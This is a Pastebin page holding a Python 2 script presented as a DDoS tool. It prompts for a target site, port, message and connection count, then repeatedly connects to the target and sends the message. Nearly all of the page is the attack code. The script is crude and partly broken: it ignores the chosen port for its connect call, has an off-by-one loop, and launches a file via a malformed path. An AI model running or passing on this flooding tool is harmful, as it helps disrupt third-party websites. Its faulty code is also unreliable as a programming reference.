Advertisement
joeldox

Python DdoS Script.

Jan 17th, 2017
716
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.69 KB | None | 0 0
  1. <<---Python DDoS Script--->>
  2. <<Edit according, hmu @KyroFusion if you need help.(Depends on what python you're using too.>>
  3. -------------------------------------------------------------------------
  4. import time
  5. import socket
  6. import os
  7. import sys
  8. import string
  9.  
  10. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  11.  
  12. def restart_program():
  13.    python = sys.executable
  14.    os.execl(python, python, * sys.argv)
  15. curdir = os.getcwd()
  16.  
  17. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  18.  
  19. print ("DDoS mode loaded")
  20. print ("python script made by an0nymous_nl twitter")
  21. host=raw_input( "Site you want to DDoS:" )
  22. port=input( "Port you want to attack:" )
  23. message=raw_input( "Input the message you want to send:" )
  24. conn=input( "How many connections you want to make:" )
  25. ip = socket.gethostbyname( host )
  26. print ("[" + ip + "]")
  27. print ( "[Ip is locked]" )
  28. print ( "[Attacking " + host + "]" )
  29. print ("+----------------------------+")
  30. def dos():
  31.    #pid = os.fork()
  32.    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  33.    try:
  34.        ddos.connect((host, 80))
  35.        ddos.send( message )
  36.        ddos.sendto( message, (ip, port) )
  37.        ddos.send( message );
  38.    except socket.error, msg:
  39.        print("|[Connection Failed]         |")
  40.    print ( "|[DDoS Attack Engaged]       |")
  41.    ddos.close()
  42. for i in range(1, conn):
  43.    dos()
  44. print ("+----------------------------+")
  45. print("The connections you requested had finished")
  46. if __name__ == "__main__":
  47.    answer = raw_input("Do you want to ddos more?")
  48.    if answer.strip() in "y Y yes Yes YES".split():
  49.        restart_program()
  50.    else:
  51.        os.system(curdir+"Deqmain.py")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement